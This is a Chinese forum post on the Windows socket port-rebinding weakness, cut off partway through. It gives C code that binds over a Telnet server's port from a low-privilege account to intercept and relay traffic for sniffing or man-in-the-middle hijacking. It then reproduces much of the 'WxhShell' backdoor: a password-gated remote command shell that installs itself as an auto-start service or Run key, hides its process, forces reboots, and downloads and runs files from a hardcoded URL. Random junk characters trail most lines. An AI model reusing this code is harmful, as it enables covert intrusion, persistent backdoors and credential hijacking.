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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CB<1]Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [SgWUP*  
h>-JXuN  
  saddr.sin_family = AF_INET; 4d4le  
OSk:njyC[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lE:X~RO"~  
Xoyk 'T] -  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qIcQPJn!}  
u.*@ l GVW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j2# nCU54Z  
:#0uy1h  
  这意味着什么?意味着可以进行如下的攻击: u3vBMe0v[  
,C2qP3yg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "u5Hm ^H  
}$!bD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ni*f1[sI<  
o"~ODN" L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @/*{8UBP  
N]R<EBq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |!{Q4<  
LWHP31{R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [?x9NQ{  
WLW'.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 P_`IsVK  
hO(8v&ns3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lA {  
_/bFt6  
  #include ^0"NcOzzxl  
  #include zqfv|3-!}  
  #include DrLNY"Zq  
  #include    }1]/dCv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :bI4HXT3  
  int main() }3:DJ(Y  
  { *#1&IJPI  
  WORD wVersionRequested; >Z?fX  
  DWORD ret; 0l3v>ty  
  WSADATA wsaData; 9;2PoW8  
  BOOL val; VvN52 qeL  
  SOCKADDR_IN saddr; tW53&q\=  
  SOCKADDR_IN scaddr; ATCFdtNc  
  int err; 6eE%x?#  
  SOCKET s; g \)+ LX  
  SOCKET sc; \ }xK$$f2,  
  int caddsize; I"Y d6M% ;  
  HANDLE mt; 4*MjDb  
  DWORD tid;   _a@&$NEox  
  wVersionRequested = MAKEWORD( 2, 2 ); (rO_ Vfaa  
  err = WSAStartup( wVersionRequested, &wsaData ); F>jPr8&  
  if ( err != 0 ) { ~t[ #p:  
  printf("error!WSAStartup failed!\n"); 0}Rxe  
  return -1; \]GO*]CaV  
  } 'Wjuv9)/  
  saddr.sin_family = AF_INET; H `y.jSNi  
   v1<gNb)`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 tkj:8_  
&?>h#H222  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K];nM}<  
  saddr.sin_port = htons(23); O-Hu:KuIf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I\DmVc\l  
  { T:o!H Xdj^  
  printf("error!socket failed!\n"); vF"<r,pg  
  return -1; gP8Fe =]  
  } c_c]0Tm  
  val = TRUE; SY|r'8Z%Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qJ|ByZ.N+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [1B F8:  
  { 4"1OtBU3  
  printf("error!setsockopt failed!\n"); D}'g4Ag  
  return -1; mj5$ 2J  
  } )V~Fl$A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .z&V!2zp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m76**X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6g4CUP'Y  
q9o =,[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D 7 l&L  
  { '&#`?\CXX  
  ret=GetLastError(); /tRzb8`  
  printf("error!bind failed!\n"); n4\6\0jq6  
  return -1; !Sr^4R+Z  
  } " ] 0ER  
  listen(s,2); l=D E|:  
  while(1) 2uFaAAT  
  { DR3M|4[  
  caddsize = sizeof(scaddr); [M_pf2Y  
  //接受连接请求 c:I1XC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yveyAsN`B  
  if(sc!=INVALID_SOCKET) Yf.H$L  
  { uW%7X2K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^@l_K +T  
  if(mt==NULL) f Z$<'(t  
  { }'$6EgX  
  printf("Thread Creat Failed!\n"); GlP [:  
  break; S_LY>k?  
  } vb/*ILS  
  } G~_5E]8  
  CloseHandle(mt); ;5^ grr@,4  
  } 2!f0!<te  
  closesocket(s); FQNhn+A  
  WSACleanup(); zMs]9o  
  return 0; g`)3m,\  
  }    84L!r  
  DWORD WINAPI ClientThread(LPVOID lpParam) r5Ej  
  { zk5sAHQ  
  SOCKET ss = (SOCKET)lpParam; @z"Zj 3ti  
  SOCKET sc; ^ L'8:  
  unsigned char buf[4096]; K+2bN KZ0  
  SOCKADDR_IN saddr; Pc{D,/EpR  
  long num; lMAmico  
  DWORD val; !jY/}M~F1  
  DWORD ret; +4\JY"oi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *LcLYxWo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zr@Bf!VG:  
  saddr.sin_family = AF_INET; N%;Q[*d@/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "BjQs<]%sF  
  saddr.sin_port = htons(23); r4t|T^{sl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z)'jn8?P  
  { +A8S 6bA[=  
  printf("error!socket failed!\n"); Le9r7O:  
  return -1; 1~8F&  
  } /b6Y~YbgU  
  val = 100; //@_`.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7p3 ;b"'  
  { =bs4*[zq  
  ret = GetLastError(); F3jrJ+nJ  
  return -1; nQK@Uy5Yr  
  } WIOV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /eDah3%d  
  { 2#_9x7g+  
  ret = GetLastError(); PN/2EmwtC  
  return -1; F`8A!|cIy  
  } RyD2LAf)J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G+4a%?JH  
  { 0K>rc1dy  
  printf("error!socket connect failed!\n"); 9F0B-aZ  
  closesocket(sc); G39H@@ *O0  
  closesocket(ss); Q nZR  
  return -1; ( f8g}2  
  } deaxb8'7  
  while(1) ~B>I?j  
  { %r6LU<;1@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F<BhN+U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %s$_KG!&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pTUsdao^,  
  num = recv(ss,buf,4096,0); 1mOZ\L!m*  
  if(num>0) ']$ttfJB  
  send(sc,buf,num,0); nhk +9  
  else if(num==0) N rVQK}%K  
  break; dDW],d}B;  
  num = recv(sc,buf,4096,0); RUf,)]Vvk  
  if(num>0) /7@@CG6b  
  send(ss,buf,num,0); }^G'oR1LF  
  else if(num==0) C JiMg'K  
  break; @SPmb o  
  } <<(~'$~,L  
  closesocket(ss); r&}fn"H!  
  closesocket(sc); l*_b)&CH  
  return 0 ; IaE};8a8  
  } OW)8Z 60  
aO "JT  
6BW-AZc  
========================================================== rd]HoFE  
( NjX?^  
下边附上一个代码,,WXhSHELL kSU*d/}*u  
St|sUtj<r  
========================================================== @`}'P115@  
8(KsU,%d  
#include "stdafx.h" 9foQ0#R  
:L:;~tK  
#include <stdio.h> >~BU<#  
#include <string.h> -2> L*"^  
#include <windows.h> N$Gx$u3Cd  
#include <winsock2.h> TW3:Y\p  
#include <winsvc.h> Aplqx vth  
#include <urlmon.h> CvQ LF9|  
dq:M!F  
#pragma comment (lib, "Ws2_32.lib") kGc)Un?'{U  
#pragma comment (lib, "urlmon.lib") }C" #b\A2  
_I{&5V~z  
#define MAX_USER   100 // 最大客户端连接数 5*g@;aR1  
#define BUF_SOCK   200 // sock buffer lBQ|=  
#define KEY_BUFF   255 // 输入 buffer EXa6"D  
"j$}'uK<  
#define REBOOT     0   // 重启 42z9N\ f  
#define SHUTDOWN   1   // 关机 /unOZVr(  
BC@"WlD  
#define DEF_PORT   5000 // 监听端口 )QBsyN<x6  
bL0+v@(r  
#define REG_LEN     16   // 注册表键长度 pQVi&(M  
#define SVC_LEN     80   // NT服务名长度 G)<k5U4  
Wc,8<Y'   
// 从dll定义API B.Xm*adBT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <NJ7mR}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "X]u fZ7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VwC, +B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'Y vW|Iq  
uxh4nyE  
// wxhshell配置信息 (4g; -*N  
struct WSCFG { Ok:@F/ v  
  int ws_port;         // 监听端口 |(P>'fat-p  
  char ws_passstr[REG_LEN]; // 口令 7#g C(&\A  
  int ws_autoins;       // 安装标记, 1=yes 0=no er qm=)  
  char ws_regname[REG_LEN]; // 注册表键名 UBU(@T(  
  char ws_svcname[REG_LEN]; // 服务名  )bK<t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b-O4IDIT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /(}V!0\?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uWfse19  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W6_3f-4g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -%t0'cKn,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (c} 0Sg  
1qQgAhoY  
}; "M:arP5f  
Gf%o|kX]  
// default Wxhshell configuration C*gSx3OG  
struct WSCFG wscfg={DEF_PORT, F~DG:x~  
    "xuhuanlingzhe", -d[x 09  
    1, "QlCcH`g  
    "Wxhshell", C8t+-p  
    "Wxhshell", C#r`oZS1  
            "WxhShell Service", aIfog+Lp  
    "Wrsky Windows CmdShell Service", 6*LU+U=`  
    "Please Input Your Password: ", {T^'&W>8G8  
  1, _c(=>  
  "http://www.wrsky.com/wxhshell.exe", +2?0]6EQ  
  "Wxhshell.exe" L,D!T&B  
    }; 96PVn  
Vm.u3KE  
// 消息定义模块 W*s`1O>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #m M&CscE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {jc~s~<#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y^!40XjrD  
char *msg_ws_ext="\n\rExit."; YT3QwN9  
char *msg_ws_end="\n\rQuit."; 5Px.G*  
char *msg_ws_boot="\n\rReboot..."; 57j:Lw~   
char *msg_ws_poff="\n\rShutdown..."; txgGL'  
char *msg_ws_down="\n\rSave to "; PIrUls0}  
7<tqT @c  
char *msg_ws_err="\n\rErr!"; I;|Aiu*  
char *msg_ws_ok="\n\rOK!"; lLJb3[ e.  
}(],*^'u-  
char ExeFile[MAX_PATH]; .o-j  
int nUser = 0; + zrwz\  
HANDLE handles[MAX_USER]; $yc,D=*Isi  
int OsIsNt; 'qP^MdoE%~  
 HOD2/  
SERVICE_STATUS       serviceStatus; tFSdi. |G=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d,[KcX  
wYxizNv,  
// 函数声明 ef. lM]cO  
int Install(void); .kYzB.3@]  
int Uninstall(void); ?ykZY0{B  
int DownloadFile(char *sURL, SOCKET wsh); zbi  
int Boot(int flag); \=_8G:1  
void HideProc(void); 0Fw\iy1o  
int GetOsVer(void); ps [6)d)o  
int Wxhshell(SOCKET wsl); EiN.VU `  
void TalkWithClient(void *cs); 'wZy: c  
int CmdShell(SOCKET sock); -'N#@Wdr  
int StartFromService(void); Nb8<8O ^  
int StartWxhshell(LPSTR lpCmdLine); %1<p1u'r?#  
lcP@5ZW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S]o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?dmMGm0T9  
\}Wkj~IX  
// 数据结构和表定义 '|/_='  
SERVICE_TABLE_ENTRY DispatchTable[] = EUn"x'   
{ ChW0vIL`  
{wscfg.ws_svcname, NTServiceMain}, u}rot+)%  
{NULL, NULL} 6f>l~$  
}; YBCjcD[G  
%<"11;0tp  
// 自我安装 #,PAM.rH  
int Install(void) "@?|Vv,vn  
{ a "DV`jn  
  char svExeFile[MAX_PATH]; Q)@1:(V/  
  HKEY key; O1ha'@qID  
  strcpy(svExeFile,ExeFile); Y1'.m5E  
I>3]4mI*a  
// 如果是win9x系统,修改注册表设为自启动 4GfLS.Ip  
if(!OsIsNt) { /SKr.S61e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W@C56fCa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q5!l(QL.  
  RegCloseKey(key); n>0dz#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @r]s9~Lx9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48ma&f;  
  RegCloseKey(key); =qtoDe  
  return 0; iy#OmI>j  
    } YJ^ lM\/<  
  } h]MVFn{  
} -5cH$]1\  
else { cMWO_$  
qQcC[50  
// 如果是NT以上系统,安装为系统服务 bZ9NnSuH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I:_*8el&d  
if (schSCManager!=0) )c'>E4>  
{ {e%abr_B  
  SC_HANDLE schService = CreateService ThlJhTh<%4  
  ( >a7(A#3@d  
  schSCManager, ]18ygqt  
  wscfg.ws_svcname, pu:D/2R2;k  
  wscfg.ws_svcdisp, i@CMPz-h&  
  SERVICE_ALL_ACCESS, ; BZM~ '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $i@EfujY  
  SERVICE_AUTO_START, D,n}Qf!GYk  
  SERVICE_ERROR_NORMAL, Xe SbA  
  svExeFile, ?R]y}6 P$  
  NULL, ye|a#a9N  
  NULL, oyt//SE  
  NULL, {~^)-^Wt:  
  NULL, G; [A Q:Iy  
  NULL UBi4itGD  
  ); VqL 5f  
  if (schService!=0) 6)U&XWH0  
  { &7T H V  
  CloseServiceHandle(schService); fBgKX ?Y  
  CloseServiceHandle(schSCManager); =[K)<5,@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :2pBv#\"qk  
  strcat(svExeFile,wscfg.ws_svcname); p},Fwbl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .G_3blE;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M#cr*%  
  RegCloseKey(key); l>UUaf|O  
  return 0; GeaDaYh#T  
    } (<3lo ZaX  
  } lZM3Q58?\  
  CloseServiceHandle(schSCManager); dl6v <  
} klJ[ {p  
} F!&pENQ  
2]3HX3  
return 1; ~Ex.Yp8.  
} :dguQ|e  
b!X"2'  
// 自我卸载 EOX_[ek7  
int Uninstall(void) GWInN8.5  
{ ZGpTw[5ql  
  HKEY key; @pG lWw9*  
uT}TSwgp  
if(!OsIsNt) { b3b~T]]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8q [c  
  RegDeleteValue(key,wscfg.ws_regname); egvy#2b@  
  RegCloseKey(key); &@HNz6KO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X^D9)kel  
  RegDeleteValue(key,wscfg.ws_regname); +%Y c4  
  RegCloseKey(key); mp,e9Nd;  
  return 0; N+M&d3H`  
  } f4k5R  
} ;(Xe@OtW  
} "'!%};  
else { Dw`m>'J0  
e$EF% cKH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @y(Wy}  
if (schSCManager!=0) v"r9|m~'  
{ 0R}Sw[M.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >_`D3@Rz  
  if (schService!=0) [DxefYyI  
  { ZSRR lkU  
  if(DeleteService(schService)!=0) { "P'&+dH8  
  CloseServiceHandle(schService); e:J'&r& 1  
  CloseServiceHandle(schSCManager); l^!A  
  return 0; -#wVtXaSc  
  } ZjZhz`  
  CloseServiceHandle(schService); `_1(Q9Q  
  } PDt<lJU+X  
  CloseServiceHandle(schSCManager); )J+{oB[>b  
} %A62xnX  
} #<wpSs  
DMQNr(w{!2  
return 1; (~Uel1~@  
} }@14E-N=  
;}WtJ&y=M  
// 从指定url下载文件 |[ Ie.&)  
int DownloadFile(char *sURL, SOCKET wsh) ,MM>cOQ  
{ )@,90Vhh  
  HRESULT hr; 1/2V.:bg  
char seps[]= "/"; ,|.8nk"  
char *token; OwA~(  
char *file; (9}eF)+O  
char myURL[MAX_PATH];  @yt 2_  
char myFILE[MAX_PATH]; RM&H!E<#  
Y=a v8Y|`  
strcpy(myURL,sURL); 2 {e dW+  
  token=strtok(myURL,seps); 7-d}pgVK  
  while(token!=NULL) {OO*iZ.O  
  { q#99iiG1  
    file=token; qBy NHo7Tb  
  token=strtok(NULL,seps); i Y*o;z,~  
  } Jq$_=X&  
+YkW[a\4  
GetCurrentDirectory(MAX_PATH,myFILE); i_=?eUq%q/  
strcat(myFILE, "\\"); A<SOT>m]  
strcat(myFILE, file); d1V^2Hb?  
  send(wsh,myFILE,strlen(myFILE),0); DD!MGf/  
send(wsh,"...",3,0); {N!E5*$Tr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZU|6jI}  
  if(hr==S_OK) dP$8JI{  
return 0; 2.LJp}>  
else #zS1Z f^KP  
return 1; =#i4MXRZ{  
2W3NL|P  
} ~=:2~$gsn  
b96t0w!cs  
// 系统电源模块 7uPZuXHxcu  
int Boot(int flag) r$GPYyHK  
{ l'*^$qc  
  HANDLE hToken; k0|`y U  
  TOKEN_PRIVILEGES tkp; ietRr!$.  
sI&i{D  
  if(OsIsNt) { A%Bgp?B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z\fW )/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -)1-~7 r  
    tkp.PrivilegeCount = 1; +yf(Rs)!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GilQtd3\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A~Z6jK  
if(flag==REBOOT) { 1, "I=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oj4v#GK]  
  return 0; 4\LZD{  
} rv9B}%e  
else { #NvQmz?J?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b TLMd$  
  return 0; FXP6zHsV  
} b?_e+:\UV  
  } Ih.rC>)rx  
  else { @$qOW  
if(flag==REBOOT) { z`k El@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q$r&4s)To  
  return 0; sl/=g   
} z Yw;q3"  
else { U;xu/xDRi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y^52~[w~  
  return 0; #`W=m N(+k  
} v(DwU!  
} I eG=J4:*  
yND"bF9  
return 1; .L9']zXc`  
} I2f?xJ2/Z  
~xGoJrF\  
// win9x进程隐藏模块 1T ( u  
void HideProc(void) Kv(z4z  
{ *~ p (GC  
!^m%O0DT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \K}-I  
  if ( hKernel != NULL ) d1v<DU>M  
  { L}'Yd'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &&=[Ivv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qG<7hr@x]  
    FreeLibrary(hKernel); t\h$&[[l'z  
  } p SHSgd ~&  
#j;Tb2&w  
return; |% z ^N*  
} |]`hXr  
\(I0wEQo$  
// 获取操作系统版本 @q K]JK  
int GetOsVer(void) a1Hz3y~S/  
{ HcRa`Sfc]/  
  OSVERSIONINFO winfo; LL&ud_Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7A5p["?Z  
  GetVersionEx(&winfo); U-i.(UyZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vT|`%~Be  
  return 1; +`@M*kd  
  else q\%cFB}  
  return 0; <aJ $lseG  
} ,`k _|//}=  
K]c4"JJ  
// 客户端句柄模块 kb71q:[  
int Wxhshell(SOCKET wsl) j^flwk  
{ \v+u;6cx_  
  SOCKET wsh; <$%X<sDkq  
  struct sockaddr_in client; -$(Jk<  
  DWORD myID; jMM$d,7B  
E@-ta):  
  while(nUser<MAX_USER) zN#*G i'  
{ ='Q{R*u  
  int nSize=sizeof(client); ~ 3^='o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]hA,LY f  
  if(wsh==INVALID_SOCKET) return 1; LxLy+yC#p  
!\FkG8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .`jo/,?+O  
if(handles[nUser]==0) tF*szf|$-  
  closesocket(wsh); QT! 4[,4  
else A4.4Dji,x  
  nUser++; *O,H5lwU  
  } {:Aw_z:'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;}qhc l+  
`lO(s%HC  
  return 0; =<c#owe:m  
} y}FZD?"  
)KE [!ofD  
// 关闭 socket |?d#eQ9a  
void CloseIt(SOCKET wsh) #sTEQjJ,J  
{ 5 c5oSy+  
closesocket(wsh); pd3,pQ  
nUser--; Y4E/?37j  
ExitThread(0); > @_im6  
} UDy(dn>J:J  
W3r?7!~  
// 客户端请求句柄 l.`u5D  
void TalkWithClient(void *cs) .~>?*}  
{ 7ER|'j  
G,f-.  
  SOCKET wsh=(SOCKET)cs; UH? p]4Nz  
  char pwd[SVC_LEN]; 'OkGReKt  
  char cmd[KEY_BUFF]; xe4Oxo  
char chr[1]; DZ$` 4;C[  
int i,j; W#'c 5:m 4  
VA] e  
  while (nUser < MAX_USER) { 1TS0X:TCn  
jCioE  
if(wscfg.ws_passstr) { -`b8T0?oK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Out(Hn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IvHh4DU3Z  
  //ZeroMemory(pwd,KEY_BUFF); =-KMb`xT  
      i=0; 8j5<6Cv_  
  while(i<SVC_LEN) { /ASaB  
v>Lm;q(  
  // 设置超时 FOwnxYGVf  
  fd_set FdRead; {sVY`}p|  
  struct timeval TimeOut; 6Wj^*L!  
  FD_ZERO(&FdRead); &Lm-()wb  
  FD_SET(wsh,&FdRead); 7y^%7U \  
  TimeOut.tv_sec=8; GOT1@.Y  
  TimeOut.tv_usec=0; M;w?[yEZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :~F:/5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 59r_#(uo  
K+Y^>N4m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -d+aV1n  
  pwd=chr[0]; `F t]MR  
  if(chr[0]==0xd || chr[0]==0xa) { ~]HN9R^&  
  pwd=0; P>i%7:OMZA  
  break; P 1XK*GZ  
  } m<rhIq  
  i++; NGC,lv  
    } '3 33Ctxy  
1x)ZB~L  
  // 如果是非法用户,关闭 socket %" D%:   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gF?[rqz{  
} N8toxRu  
TlZT1H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =(v^5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j;b42G~p  
F&RgT1*  
while(1) { L< ^j"!0  
= ?D(g  
  ZeroMemory(cmd,KEY_BUFF); tVuWVJ4M  
_"@CGXu  
      // 自动支持客户端 telnet标准   `x8J  
  j=0; xu5ia|gYz7  
  while(j<KEY_BUFF) { NLS"eD m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x5}'7,A  
  cmd[j]=chr[0]; v+ 7kU=  
  if(chr[0]==0xa || chr[0]==0xd) { #:jb*d?  
  cmd[j]=0; {\H/y c|@  
  break; pM;vH]|  
  } U>Ld~cw  
  j++; ^I8Esl8  
    } :W#rhuzC  
uvDzKMw~R  
  // 下载文件 &QRE"_g  
  if(strstr(cmd,"http://")) { 5 @U<I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YHNR 3  
  if(DownloadFile(cmd,wsh)) ">f erhN9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &LO"g0w  
  else GSclK|#t E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q6Rr.A  
  } ,.iRnR  
  else { W1fW}0   
~5Pb&+<$  
    switch(cmd[0]) { 6E(Qx~i L  
  Y8M]Lwj  
  // 帮助 }En  
  case '?': { De7T s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =4V&*go*\  
    break; *B`Zq)  
  } gE#>RM5D  
  // 安装 -;f*VM.a  
  case 'i': { FZjHw_pP  
    if(Install()) oSiMpQu08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |4$M]Mf0  
    else E_Z{6&r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C~fjWz' V  
    break; O~j> ?  
    } ojYbR<jn9  
  // 卸载 Xq'cA9v=$J  
  case 'r': { EA ]+vq  
    if(Uninstall()) KT]Pw\y5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? WJ> p  
    else ^` un'5Vk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S$KFf=0  
    break; >U F  
    } f#+el y  
  // 显示 wxhshell 所在路径 3bO(?l`3h  
  case 'p': { BA\/YW @  
    char svExeFile[MAX_PATH]; u]}s)SmDk  
    strcpy(svExeFile,"\n\r"); l/;X?g5+  
      strcat(svExeFile,ExeFile); " \I4u{zC  
        send(wsh,svExeFile,strlen(svExeFile),0);  "KcA  
    break; n>@oBG)!  
    } W3`>8v1?o  
  // 重启 pv| Pm  
  case 'b': { R$;n)_H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y#}cC+;   
    if(Boot(REBOOT)) [MuEoWrq(}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t78k4?  
    else { I*9e]m"  
    closesocket(wsh); x.Q&$#  
    ExitThread(0); vJAZ%aW  
    } !9 fz(9  
    break; Gt9&)/#  
    } IV\J3N^  
  // 关机  >S$Z  
  case 'd': { ss;R8:5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xsWur(>]  
